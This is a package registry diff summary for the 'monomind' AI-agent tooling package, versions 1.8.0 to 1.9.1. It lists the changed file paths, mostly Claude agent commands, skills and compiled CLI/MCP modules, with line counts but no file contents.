monomind 1.8.0 → 1.9.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/agents/design/design-monodesign.md +121 -0
- package/.claude/agents/github/issue-tracker.md +12 -12
- package/.claude/agents/github/pr-manager.md +10 -10
- package/.claude/agents/github/release-manager.md +49 -105
- package/.claude/agents/github/repo-architect.md +73 -92
- package/.claude/agents/github/sync-coordinator.md +55 -123
- package/.claude/agents/marketing/marketing-competitive-content.md +155 -0
- package/.claude/agents/marketing/marketing-content-creator.md +13 -0
- package/.claude/agents/marketing/marketing-cro-specialist.md +147 -0
- package/.claude/agents/marketing/marketing-email-specialist.md +90 -0
- package/.claude/agents/marketing/marketing-launch-strategist.md +129 -0
- package/.claude/agents/marketing/marketing-pricing-strategist.md +127 -0
- package/.claude/agents/specialists/integration-architect.md +94 -0
- package/.claude/commands/agents/README.md +4 -0
- package/.claude/commands/agents/agent-capabilities.md +6 -2
- package/.claude/commands/agents/agent-coordination.md +4 -0
- package/.claude/commands/agents/agent-spawning.md +4 -0
- package/.claude/commands/agents/agent-types.md +6 -2
- package/.claude/commands/analysis/README.md +14 -5
- package/.claude/commands/analysis/bottleneck-detect.md +30 -123
- package/.claude/commands/analysis/performance-bottlenecks.md +14 -14
- package/.claude/commands/analysis/performance-report.md +38 -11
- package/.claude/commands/analysis/token-efficiency.md +13 -16
- package/.claude/commands/analysis/token-usage.md +34 -12
- package/.claude/commands/automation/README.md +15 -5
- package/.claude/commands/automation/auto-agent.md +49 -85
- package/.claude/commands/automation/self-healing.md +20 -18
- package/.claude/commands/automation/session-memory.md +28 -29
- package/.claude/commands/automation/smart-agents.md +17 -9
- package/.claude/commands/automation/smart-spawn.md +52 -11
- package/.claude/commands/automation/workflow-select.md +46 -11
- package/.claude/commands/browse.md +5 -0
- package/.claude/commands/coordination/README.md +9 -5
- package/.claude/commands/coordination/agent-spawn.md +53 -9
- package/.claude/commands/coordination/swarm-init.md +39 -42
- package/.claude/commands/coordination/task-orchestrate.md +65 -11
- package/.claude/commands/github/README.md +21 -8
- package/.claude/commands/github/github-modes.md +9 -5
- package/.claude/commands/github/issue-tracker.md +34 -33
- package/.claude/commands/github/pr-manager.md +20 -17
- package/.claude/commands/github/release-manager.md +37 -49
- package/.claude/commands/github/repo-architect.md +39 -41
- package/.claude/commands/github/sync-coordinator.md +45 -49
- package/.claude/commands/hive-mind/README.md +42 -17
- package/.claude/commands/hive-mind/hive-mind-consensus.md +68 -4
- package/.claude/commands/hive-mind/hive-mind-init.md +55 -5
- package/.claude/commands/hive-mind/hive-mind-memory.md +69 -4
- package/.claude/commands/hive-mind/hive-mind-spawn.md +71 -10
- package/.claude/commands/hive-mind/hive-mind-status.md +52 -4
- package/.claude/commands/hive-mind/hive-mind-stop.md +51 -4
- package/.claude/commands/hive-mind/hive-mind.md +74 -14
- package/.claude/commands/hooks/README.md +62 -7
- package/.claude/commands/hooks/overview.md +94 -35
- package/.claude/commands/hooks/post-edit.md +48 -87
- package/.claude/commands/hooks/post-task.md +37 -87
- package/.claude/commands/hooks/pre-edit.md +52 -84
- package/.claude/commands/hooks/pre-task.md +46 -81
- package/.claude/commands/hooks/session-end.md +49 -85
- package/.claude/commands/hooks/setup.md +87 -58
- package/.claude/commands/mastermind/_repeat.md +308 -0
- package/.claude/commands/mastermind/architect.md +49 -0
- package/.claude/commands/mastermind/brain.md +98 -0
- package/.claude/commands/mastermind/build.md +22 -0
- package/.claude/commands/mastermind/content.md +22 -0
- package/.claude/commands/mastermind/createorg.md +94 -0
- package/.claude/commands/mastermind/finance.md +22 -0
- package/.claude/commands/mastermind/idea.md +22 -0
- package/.claude/commands/mastermind/marketing.md +22 -0
- package/.claude/commands/mastermind/master.md +379 -0
- package/.claude/commands/mastermind/ops.md +22 -0
- package/.claude/commands/mastermind/release.md +22 -0
- package/.claude/commands/mastermind/research.md +22 -0
- package/.claude/commands/mastermind/review.md +22 -0
- package/.claude/commands/mastermind/runorg.md +106 -0
- package/.claude/commands/mastermind/sales.md +22 -0
- package/.claude/commands/mastermind/techport.md +17 -0
- package/.claude/commands/memory/README.md +75 -5
- package/.claude/commands/memory/memory-search.md +63 -11
- package/.claude/commands/monitoring/README.md +64 -4
- package/.claude/commands/monitoring/agent-metrics.md +50 -10
- package/.claude/commands/monitoring/agents.md +59 -32
- package/.claude/commands/monitoring/status.md +96 -34
- package/.claude/commands/monograph/README.md +102 -0
- package/.claude/commands/monograph/monograph-build.md +79 -0
- package/.claude/commands/monograph/monograph-search.md +96 -0
- package/.claude/commands/monograph/monograph-stats.md +53 -0
- package/.claude/commands/monograph/monograph-watch.md +63 -0
- package/.claude/commands/monograph/monograph-wiki.md +91 -0
- package/.claude/commands/monomind/createtask.md +277 -0
- package/.claude/commands/{monomind-do.md → monomind/do.md} +21 -8
- package/.claude/commands/monomind/help.md +118 -0
- package/.claude/commands/{monomind-idea.md → monomind/idea.md} +22 -28
- package/.claude/commands/{monomind-improve.md → monomind/improve.md} +21 -27
- package/.claude/commands/monomind/memory.md +230 -0
- package/.claude/commands/monomind/repeat.md +201 -0
- package/.claude/commands/monomind/review.md +313 -0
- package/.claude/commands/monomind/specialagents.md +125 -0
- package/.claude/commands/monomind/swarm.md +161 -0
- package/.claude/commands/monomind/understand.md +148 -0
- package/.claude/commands/optimization/README.md +69 -5
- package/.claude/commands/optimization/auto-topology.md +66 -43
- package/.claude/commands/optimization/parallel-execution.md +65 -39
- package/.claude/commands/optimization/performance-optimize.md +79 -0
- package/.claude/commands/pair/README.md +48 -230
- package/.claude/commands/pair/examples.md +85 -441
- package/.claude/commands/pair/modes.md +77 -303
- package/.claude/commands/pair/session.md +76 -359
- package/.claude/commands/sparc/analyzer.md +9 -26
- package/.claude/commands/sparc/architect.md +8 -25
- package/.claude/commands/sparc/ask.md +27 -68
- package/.claude/commands/sparc/batch-executor.md +8 -25
- package/.claude/commands/sparc/code.md +12 -53
- package/.claude/commands/sparc/coder.md +8 -25
- package/.claude/commands/sparc/debug.md +12 -53
- package/.claude/commands/sparc/debugger.md +8 -25
- package/.claude/commands/sparc/designer.md +8 -25
- package/.claude/commands/sparc/devops.md +16 -57
- package/.claude/commands/sparc/docs-writer.md +12 -53
- package/.claude/commands/sparc/documenter.md +8 -25
- package/.claude/commands/sparc/innovator.md +8 -25
- package/.claude/commands/sparc/integration.md +12 -53
- package/.claude/commands/sparc/mcp.md +12 -53
- package/.claude/commands/sparc/memory-manager.md +28 -25
- package/.claude/commands/sparc/optimizer.md +8 -25
- package/.claude/commands/sparc/orchestrator.md +35 -97
- package/.claude/commands/sparc/post-deployment-monitoring-mode.md +13 -54
- package/.claude/commands/sparc/refinement-optimization-mode.md +13 -54
- package/.claude/commands/sparc/researcher.md +8 -25
- package/.claude/commands/sparc/reviewer.md +8 -25
- package/.claude/commands/sparc/security-review.md +13 -54
- package/.claude/commands/sparc/sparc-modes.md +97 -151
- package/.claude/commands/sparc/sparc.md +16 -56
- package/.claude/commands/sparc/spec-pseudocode.md +13 -54
- package/.claude/commands/sparc/supabase-admin.md +19 -66
- package/.claude/commands/sparc/swarm-coordinator.md +21 -25
- package/.claude/commands/sparc/tdd.md +8 -25
- package/.claude/commands/sparc/tester.md +8 -25
- package/.claude/commands/sparc/tutorial.md +12 -53
- package/.claude/commands/sparc/workflow-manager.md +8 -25
- package/.claude/commands/sparc.md +76 -130
- package/.claude/commands/stream-chain/pipeline.md +72 -77
- package/.claude/commands/stream-chain/run.md +133 -47
- package/.claude/commands/swarm/README.md +37 -12
- package/.claude/commands/swarm/analysis.md +47 -69
- package/.claude/commands/swarm/development.md +45 -69
- package/.claude/commands/swarm/examples.md +77 -142
- package/.claude/commands/swarm/maintenance.md +47 -74
- package/.claude/commands/swarm/optimization.md +54 -87
- package/.claude/commands/swarm/research.md +47 -107
- package/.claude/commands/swarm/swarm-analysis.md +58 -4
- package/.claude/commands/swarm/swarm-background.md +61 -4
- package/.claude/commands/swarm/swarm-modes.md +63 -4
- package/.claude/commands/swarm/swarm-monitor.md +50 -4
- package/.claude/commands/swarm/swarm-status.md +40 -4
- package/.claude/commands/swarm/swarm-strategies.md +73 -5
- package/.claude/commands/swarm/swarm.md +70 -18
- package/.claude/commands/swarm/testing.md +51 -102
- package/.claude/commands/tokens.md +6 -1
- package/.claude/commands/training/README.md +36 -6
- package/.claude/commands/training/model-update.md +68 -15
- package/.claude/commands/training/neural-patterns.md +54 -55
- package/.claude/commands/training/neural-train.md +70 -16
- package/.claude/commands/training/pattern-learn.md +60 -16
- package/.claude/commands/training/specialization.md +78 -49
- package/.claude/commands/truth/start.md +87 -109
- package/.claude/commands/ts.md +7 -2
- package/.claude/commands/verify/check.md +90 -34
- package/.claude/commands/verify/start.md +71 -94
- package/.claude/commands/workflows/README.md +62 -6
- package/.claude/commands/workflows/development.md +69 -61
- package/.claude/commands/workflows/research.md +73 -47
- package/.claude/commands/workflows/workflow-create.md +75 -16
- package/.claude/commands/workflows/workflow-execute.md +94 -16
- package/.claude/commands/workflows/workflow-export.md +81 -16
- package/.claude/helpers/control-start.cjs +91 -0
- package/.claude/helpers/extras-registry.json +4104 -1991
- package/.claude/helpers/graphify-freshen.cjs +44 -13
- package/.claude/helpers/hook-handler.cjs +256 -1
- package/.claude/helpers/learning-service.mjs +0 -0
- package/.claude/helpers/loop-tracker.cjs +107 -0
- package/.claude/helpers/metrics-db.mjs +0 -0
- package/.claude/helpers/router.cjs +48 -68
- package/.claude/helpers/skill-registry.json +89 -104
- package/.claude/helpers/statusline.cjs +33 -2
- package/.claude/helpers/swarm-hooks.sh +0 -0
- package/.claude/scheduled_tasks.lock +1 -0
- package/.claude/settings.json +15 -0
- package/.claude/skills/.monomind/data/ranked-context.json +5 -0
- package/.claude/skills/.monomind/sessions/current.json +13 -0
- package/.claude/skills/.monomind/sessions/session-1777829336455.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777831614725.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777832095857.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777839814183.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777841847131.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777843309463.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777880867159.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777881884593.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777884090471.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777884808221.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777885672155.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777886852818.json +15 -0
- package/.claude/skills/.monomind/sessions/session-1777896532690.json +15 -0
- package/.claude/skills/agentdb-advanced/SKILL.md +11 -12
- package/.claude/skills/agentdb-learning/SKILL.md +20 -21
- package/.claude/skills/agentdb-memory-patterns/SKILL.md +28 -30
- package/.claude/skills/agentdb-optimization/SKILL.md +11 -12
- package/.claude/skills/agentdb-vector-search/SKILL.md +37 -41
- package/.claude/skills/{v3-integration-deep → agentic-integration}/SKILL.md +20 -13
- package/.claude/skills/agentic-jujutsu/SKILL.md +22 -22
- package/.claude/skills/{v3-cli-modernization → cli-modernization}/SKILL.md +17 -8
- package/.claude/skills/{v3-core-implementation → core-implementation}/SKILL.md +33 -8
- package/.claude/skills/{v3-ddd-architecture → ddd-architecture}/SKILL.md +18 -25
- package/.claude/skills/github-code-review/SKILL.md +82 -83
- package/.claude/skills/github-multi-repo/SKILL.md +42 -46
- package/.claude/skills/github-project-management/SKILL.md +83 -88
- package/.claude/skills/github-release-management/SKILL.md +12 -18
- package/.claude/skills/github-workflow-automation/SKILL.md +70 -74
- package/.claude/skills/hooks-automation/SKILL.md +9 -13
- package/.claude/skills/mastermind/_intake.md +83 -0
- package/.claude/skills/mastermind/_protocol.md +275 -0
- package/.claude/skills/mastermind/architect.md +847 -0
- package/.claude/skills/mastermind/build.md +158 -0
- package/.claude/skills/mastermind/content.md +185 -0
- package/.claude/skills/mastermind/createorg.md +318 -0
- package/.claude/skills/mastermind/finance.md +154 -0
- package/.claude/skills/mastermind/idea.md +158 -0
- package/.claude/skills/mastermind/marketing.md +216 -0
- package/.claude/skills/mastermind/monotask.md +350 -0
- package/.claude/skills/mastermind/ops.md +156 -0
- package/.claude/skills/mastermind/references/copywriting-frameworks.md +181 -0
- package/.claude/skills/mastermind/references/persuasion-psychology.md +158 -0
- package/.claude/skills/mastermind/release.md +156 -0
- package/.claude/skills/mastermind/research.md +156 -0
- package/.claude/skills/mastermind/review.md +157 -0
- package/.claude/skills/mastermind/runorg.md +308 -0
- package/.claude/skills/mastermind/sales.md +158 -0
- package/.claude/skills/mastermind/techport.md +743 -0
- package/.claude/skills/{v3-mcp-optimization → mcp-optimization}/SKILL.md +35 -14
- package/.claude/skills/{v3-memory-unification → memory-unification}/SKILL.md +20 -4
- package/.claude/skills/monodesign/SKILL.md +302 -0
- package/.claude/skills/monodesign/reference/adapt.md +190 -0
- package/.claude/skills/monodesign/reference/animate.md +175 -0
- package/.claude/skills/monodesign/reference/antipatterns-catalog.md +187 -0
- package/.claude/skills/monodesign/reference/audit.md +133 -0
- package/.claude/skills/monodesign/reference/bolder.md +113 -0
- package/.claude/skills/monodesign/reference/brand-workflow.md +180 -0
- package/.claude/skills/monodesign/reference/brand.md +114 -0
- package/.claude/skills/monodesign/reference/clarify.md +174 -0
- package/.claude/skills/monodesign/reference/cognitive-load.md +106 -0
- package/.claude/skills/monodesign/reference/color-and-contrast.md +105 -0
- package/.claude/skills/monodesign/reference/colorize.md +154 -0
- package/.claude/skills/monodesign/reference/component-specs.md +260 -0
- package/.claude/skills/monodesign/reference/component-states.md +274 -0
- package/.claude/skills/monodesign/reference/component-system.md +358 -0
- package/.claude/skills/monodesign/reference/copy-formulas.md +160 -0
- package/.claude/skills/monodesign/reference/craft.md +193 -0
- package/.claude/skills/monodesign/reference/critique.md +213 -0
- package/.claude/skills/monodesign/reference/delight.md +302 -0
- package/.claude/skills/monodesign/reference/design-principles.md +246 -0
- package/.claude/skills/monodesign/reference/distill.md +111 -0
- package/.claude/skills/monodesign/reference/document.md +427 -0
- package/.claude/skills/monodesign/reference/extract.md +69 -0
- package/.claude/skills/monodesign/reference/harden.md +347 -0
- package/.claude/skills/monodesign/reference/heuristics-scoring.md +234 -0
- package/.claude/skills/monodesign/reference/image-prompts.md +118 -0
- package/.claude/skills/monodesign/reference/interaction-design.md +195 -0
- package/.claude/skills/monodesign/reference/layout.md +141 -0
- package/.claude/skills/monodesign/reference/live.md +622 -0
- package/.claude/skills/monodesign/reference/motion-design.md +109 -0
- package/.claude/skills/monodesign/reference/onboard.md +234 -0
- package/.claude/skills/monodesign/reference/optimize.md +258 -0
- package/.claude/skills/monodesign/reference/overdrive.md +130 -0
- package/.claude/skills/monodesign/reference/personas.md +179 -0
- package/.claude/skills/monodesign/reference/polish.md +233 -0
- package/.claude/skills/monodesign/reference/pre-delivery-checklist.md +108 -0
- package/.claude/skills/monodesign/reference/product.md +62 -0
- package/.claude/skills/monodesign/reference/quieter.md +99 -0
- package/.claude/skills/monodesign/reference/responsive-design.md +114 -0
- package/.claude/skills/monodesign/reference/shape.md +151 -0
- package/.claude/skills/monodesign/reference/spatial-design.md +100 -0
- package/.claude/skills/monodesign/reference/teach.md +156 -0
- package/.claude/skills/monodesign/reference/token-architecture.md +222 -0
- package/.claude/skills/monodesign/reference/typeset.md +124 -0
- package/.claude/skills/monodesign/reference/typography.md +159 -0
- package/.claude/skills/monodesign/reference/ux-research.md +143 -0
- package/.claude/skills/monodesign/reference/ux-rules.md +211 -0
- package/.claude/skills/monodesign/reference/ux-writing.md +107 -0
- package/.claude/skills/monomotion/SKILL.md +145 -0
- package/.claude/skills/monomotion/rules/api-control.md +139 -0
- package/.claude/skills/monomotion/rules/effects.md +109 -0
- package/.claude/skills/monomotion/rules/integration.md +140 -0
- package/.claude/skills/monomotion/rules/scroll.md +131 -0
- package/.claude/skills/monomotion/rules/sequencing.md +105 -0
- package/.claude/skills/monomotion/rules/svg.md +101 -0
- package/.claude/skills/monomotion/rules/text.md +119 -0
- package/.claude/skills/pair-programming/SKILL.md +1 -1
- package/.claude/skills/performance-analysis/SKILL.md +3 -3
- package/.claude/skills/{v3-performance-optimization → performance-optimization}/SKILL.md +16 -8
- package/.claude/skills/reasoningbank-agentdb/SKILL.md +17 -19
- package/.claude/skills/reasoningbank-intelligence/SKILL.md +4 -6
- package/.claude/skills/{v3-security-overhaul → security-hardening}/SKILL.md +13 -3
- package/.claude/skills/skill-builder/SKILL.md +19 -19
- package/.claude/skills/sparc-methodology/SKILL.md +55 -211
- package/.claude/skills/stop-slop/SKILL.md +67 -0
- package/.claude/skills/stop-slop/references/examples.md +61 -0
- package/.claude/skills/stop-slop/references/phrases.md +130 -0
- package/.claude/skills/stop-slop/references/structures.md +136 -0
- package/.claude/skills/swarm-advanced/SKILL.md +13 -43
- package/.claude/skills/{v3-swarm-coordination → swarm-coordination}/SKILL.md +39 -21
- package/.claude/skills/swarm-orchestration/SKILL.md +12 -12
- package/.claude/skills/verification-quality/SKILL.md +5 -5
- package/.claude/statusline-command.sh +0 -0
- package/.claude/statusline.sh +0 -0
- package/.claude-plugin/scripts/install.sh +0 -0
- package/.claude-plugin/scripts/uninstall.sh +0 -0
- package/.claude-plugin/scripts/verify.sh +0 -0
- package/README.md +5 -5
- package/package.json +17 -17
- package/packages/@monomind/cli/README.md +441 -0
- package/packages/@monomind/cli/bin/cli.js +78 -13
- package/packages/@monomind/cli/bin/mcp-server.js +0 -0
- package/packages/@monomind/cli/dist/src/agents/halt-signal.js +33 -7
- package/packages/@monomind/cli/dist/src/agents/managed-agent.js +5 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-experiment.d.ts +3 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-experiment.js +1 -1
- package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.d.ts +5 -2
- package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.js +26 -4
- package/packages/@monomind/cli/dist/src/agents/specialization-scorer.js +17 -9
- package/packages/@monomind/cli/dist/src/agents/trigger-scanner.d.ts +5 -3
- package/packages/@monomind/cli/dist/src/agents/trigger-scanner.js +58 -10
- package/packages/@monomind/cli/dist/src/agents/version-store.d.ts +0 -1
- package/packages/@monomind/cli/dist/src/agents/version-store.js +44 -21
- package/packages/@monomind/cli/dist/src/autopilot-state.js +79 -28
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.d.ts +7 -2
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.js +20 -8
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.d.ts +2 -1
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.js +25 -2
- package/packages/@monomind/cli/dist/src/commands/agent.js +6 -4
- package/packages/@monomind/cli/dist/src/commands/appliance-advanced.js +23 -0
- package/packages/@monomind/cli/dist/src/commands/autopilot.js +3 -3
- package/packages/@monomind/cli/dist/src/commands/benchmark.js +119 -8
- package/packages/@monomind/cli/dist/src/commands/claims.js +22 -14
- package/packages/@monomind/cli/dist/src/commands/config.js +32 -0
- package/packages/@monomind/cli/dist/src/commands/daemon.js +13 -11
- package/packages/@monomind/cli/dist/src/commands/deployment.js +21 -2
- package/packages/@monomind/cli/dist/src/commands/doctor.js +5 -4
- package/packages/@monomind/cli/dist/src/commands/embeddings.js +124 -48
- package/packages/@monomind/cli/dist/src/commands/hive-mind.js +15 -14
- package/packages/@monomind/cli/dist/src/commands/hooks.js +45 -41
- package/packages/@monomind/cli/dist/src/commands/index.d.ts +2 -0
- package/packages/@monomind/cli/dist/src/commands/index.js +20 -7
- package/packages/@monomind/cli/dist/src/commands/init.js +53 -19
- package/packages/@monomind/cli/dist/src/commands/mcp.js +31 -44
- package/packages/@monomind/cli/dist/src/commands/memory.js +47 -15
- package/packages/@monomind/cli/dist/src/commands/migrate.js +156 -108
- package/packages/@monomind/cli/dist/src/commands/monograph.d.ts +8 -0
- package/packages/@monomind/cli/dist/src/commands/monograph.js +526 -0
- package/packages/@monomind/cli/dist/src/commands/neural.js +96 -56
- package/packages/@monomind/cli/dist/src/commands/performance.js +30 -8
- package/packages/@monomind/cli/dist/src/commands/plugins.js +13 -37
- package/packages/@monomind/cli/dist/src/commands/process.js +25 -2
- package/packages/@monomind/cli/dist/src/commands/providers.js +37 -5
- package/packages/@monomind/cli/dist/src/commands/replay.js +4 -4
- package/packages/@monomind/cli/dist/src/commands/route.js +37 -5
- package/packages/@monomind/cli/dist/src/commands/ruvector/import.js +12 -2
- package/packages/@monomind/cli/dist/src/commands/ruvector/init.js +15 -0
- package/packages/@monomind/cli/dist/src/commands/ruvector/status.js +16 -3
- package/packages/@monomind/cli/dist/src/commands/security.js +342 -193
- package/packages/@monomind/cli/dist/src/commands/session.js +51 -8
- package/packages/@monomind/cli/dist/src/commands/start.js +18 -4
- package/packages/@monomind/cli/dist/src/commands/swarm.js +47 -36
- package/packages/@monomind/cli/dist/src/commands/tokens.js +11 -11
- package/packages/@monomind/cli/dist/src/commands/transfer-store.js +1 -1
- package/packages/@monomind/cli/dist/src/commands/workflow.js +31 -4
- package/packages/@monomind/cli/dist/src/config-adapter.d.ts +2 -1
- package/packages/@monomind/cli/dist/src/consensus/audit-writer.js +46 -13
- package/packages/@monomind/cli/dist/src/consensus/vote-signer.d.ts +0 -3
- package/packages/@monomind/cli/dist/src/consensus/vote-signer.js +9 -1
- package/packages/@monomind/cli/dist/src/dlq/dlq-reader.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/dlq/dlq-reader.js +25 -8
- package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.d.ts +10 -3
- package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.js +50 -16
- package/packages/@monomind/cli/dist/src/dlq/dlq-writer.js +27 -5
- package/packages/@monomind/cli/dist/src/eval/dataset-manager.d.ts +2 -2
- package/packages/@monomind/cli/dist/src/eval/dataset-manager.js +26 -16
- package/packages/@monomind/cli/dist/src/eval/trace-collector.js +23 -3
- package/packages/@monomind/cli/dist/src/index.js +12 -10
- package/packages/@monomind/cli/dist/src/init/claudemd-generator.js +8 -8
- package/packages/@monomind/cli/dist/src/init/executor.js +212 -102
- package/packages/@monomind/cli/dist/src/init/helpers-generator.js +35 -22
- package/packages/@monomind/cli/dist/src/init/mcp-generator.js +3 -3
- package/packages/@monomind/cli/dist/src/init/settings-generator.js +10 -3
- package/packages/@monomind/cli/dist/src/init/shared-instructions-generator.js +18 -3
- package/packages/@monomind/cli/dist/src/init/statusline-generator.js +3 -1
- package/packages/@monomind/cli/dist/src/init/types.d.ts +35 -11
- package/packages/@monomind/cli/dist/src/init/types.js +5 -9
- package/packages/@monomind/cli/dist/src/interactive/interrupt.js +8 -3
- package/packages/@monomind/cli/dist/src/mcp/tool-registry.js +38 -4
- package/packages/@monomind/cli/dist/src/mcp-client.js +10 -4
- package/packages/@monomind/cli/dist/src/mcp-server.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/mcp-server.js +182 -35
- package/packages/@monomind/cli/dist/src/mcp-tools/agent-tools.js +66 -34
- package/packages/@monomind/cli/dist/src/mcp-tools/agentdb-tools.js +34 -7
- package/packages/@monomind/cli/dist/src/mcp-tools/analyze-tools.js +25 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/auto-install.js +4 -6
- package/packages/@monomind/cli/dist/src/mcp-tools/autopilot-tools.js +12 -2
- package/packages/@monomind/cli/dist/src/mcp-tools/browser-tools.js +199 -20
- package/packages/@monomind/cli/dist/src/mcp-tools/claims-tools.js +68 -18
- package/packages/@monomind/cli/dist/src/mcp-tools/config-tools.js +33 -5
- package/packages/@monomind/cli/dist/src/mcp-tools/coordination-tools.js +59 -4
- package/packages/@monomind/cli/dist/src/mcp-tools/daa-tools.js +46 -10
- package/packages/@monomind/cli/dist/src/mcp-tools/embeddings-tools.js +46 -5
- package/packages/@monomind/cli/dist/src/mcp-tools/github-tools.js +29 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/guidance-tools.js +38 -10
- package/packages/@monomind/cli/dist/src/mcp-tools/hive-mind-tools.js +96 -33
- package/packages/@monomind/cli/dist/src/mcp-tools/hooks-tools.js +70 -37
- package/packages/@monomind/cli/dist/src/mcp-tools/memory-tools.js +29 -13
- package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.js +5867 -56
- package/packages/@monomind/cli/dist/src/mcp-tools/neural-tools.js +121 -37
- package/packages/@monomind/cli/dist/src/mcp-tools/performance-tools.js +21 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.js +10 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/request-tracker.js +4 -1
- package/packages/@monomind/cli/dist/src/mcp-tools/ruvllm-tools.js +19 -8
- package/packages/@monomind/cli/dist/src/mcp-tools/session-tools.js +57 -17
- package/packages/@monomind/cli/dist/src/mcp-tools/swarm-tools.js +35 -17
- package/packages/@monomind/cli/dist/src/mcp-tools/system-tools.js +4 -3
- package/packages/@monomind/cli/dist/src/mcp-tools/task-tools.js +53 -13
- package/packages/@monomind/cli/dist/src/mcp-tools/terminal-tools.js +63 -14
- package/packages/@monomind/cli/dist/src/mcp-tools/transfer-tools.js +21 -16
- package/packages/@monomind/cli/dist/src/mcp-tools/workflow-tools.js +92 -23
- package/packages/@monomind/cli/dist/src/memory/ewc-consolidation.js +41 -10
- package/packages/@monomind/cli/dist/src/memory/intelligence.d.ts +2 -2
- package/packages/@monomind/cli/dist/src/memory/intelligence.js +39 -13
- package/packages/@monomind/cli/dist/src/memory/memory-bridge.d.ts +1 -0
- package/packages/@monomind/cli/dist/src/memory/memory-bridge.js +149 -56
- package/packages/@monomind/cli/dist/src/memory/memory-initializer.js +107 -45
- package/packages/@monomind/cli/dist/src/memory/sona-optimizer.d.ts +8 -1
- package/packages/@monomind/cli/dist/src/memory/sona-optimizer.js +25 -8
- package/packages/@monomind/cli/dist/src/observability/replay-reader.d.ts +40 -0
- package/packages/@monomind/cli/dist/src/observability/replay-reader.js +138 -0
- package/packages/@monomind/cli/dist/src/orchestration/routing-modes.js +35 -5
- package/packages/@monomind/cli/dist/src/parser.d.ts +8 -0
- package/packages/@monomind/cli/dist/src/parser.js +48 -14
- package/packages/@monomind/cli/dist/src/plugins/manager.js +112 -19
- package/packages/@monomind/cli/dist/src/plugins/store/discovery.d.ts +1 -1
- package/packages/@monomind/cli/dist/src/plugins/store/discovery.js +80 -62
- package/packages/@monomind/cli/dist/src/production/circuit-breaker.js +8 -1
- package/packages/@monomind/cli/dist/src/production/error-handler.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/production/error-handler.js +27 -5
- package/packages/@monomind/cli/dist/src/production/monitoring.js +8 -4
- package/packages/@monomind/cli/dist/src/production/rate-limiter.js +30 -22
- package/packages/@monomind/cli/dist/src/ruvector/agent-wasm.js +2 -2
- package/packages/@monomind/cli/dist/src/ruvector/coverage-router.js +19 -9
- package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.d.ts +1 -0
- package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.js +26 -6
- package/packages/@monomind/cli/dist/src/ruvector/enhanced-model-router.js +24 -2
- package/packages/@monomind/cli/dist/src/ruvector/index.d.ts +1 -2
- package/packages/@monomind/cli/dist/src/ruvector/index.js +2 -2
- package/packages/@monomind/cli/dist/src/ruvector/model-router.d.ts +4 -2
- package/packages/@monomind/cli/dist/src/ruvector/model-router.js +30 -6
- package/packages/@monomind/cli/dist/src/ruvector/moe-router.d.ts +7 -0
- package/packages/@monomind/cli/dist/src/ruvector/moe-router.js +35 -12
- package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.d.ts +7 -1
- package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.js +40 -9
- package/packages/@monomind/cli/dist/src/services/claim-service.d.ts +3 -1
- package/packages/@monomind/cli/dist/src/services/claim-service.js +33 -2
- package/packages/@monomind/cli/dist/src/services/config-file-manager.d.ts +16 -2
- package/packages/@monomind/cli/dist/src/services/config-file-manager.js +105 -17
- package/packages/@monomind/cli/dist/src/services/container-worker-pool.js +51 -11
- package/packages/@monomind/cli/dist/src/services/headless-worker-executor.d.ts +7 -0
- package/packages/@monomind/cli/dist/src/services/headless-worker-executor.js +188 -45
- package/packages/@monomind/cli/dist/src/services/registry-api.js +62 -9
- package/packages/@monomind/cli/dist/src/services/ruvector-training.js +8 -0
- package/packages/@monomind/cli/dist/src/services/worker-daemon.d.ts +4 -1
- package/packages/@monomind/cli/dist/src/services/worker-daemon.js +112 -28
- package/packages/@monomind/cli/dist/src/services/worker-queue.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/services/worker-queue.js +86 -5
- package/packages/@monomind/cli/dist/src/suggest.js +9 -0
- package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.d.ts +5 -3
- package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.js +17 -5
- package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.d.ts +3 -0
- package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.js +30 -6
- package/packages/@monomind/cli/dist/src/transfer/anonymization/index.js +5 -3
- package/packages/@monomind/cli/dist/src/transfer/export.js +5 -3
- package/packages/@monomind/cli/dist/src/transfer/ipfs/client.js +84 -7
- package/packages/@monomind/cli/dist/src/transfer/ipfs/upload.js +13 -4
- package/packages/@monomind/cli/dist/src/transfer/storage/gcs.js +19 -10
- package/packages/@monomind/cli/dist/src/transfer/store/discovery.d.ts +9 -2
- package/packages/@monomind/cli/dist/src/transfer/store/discovery.js +68 -13
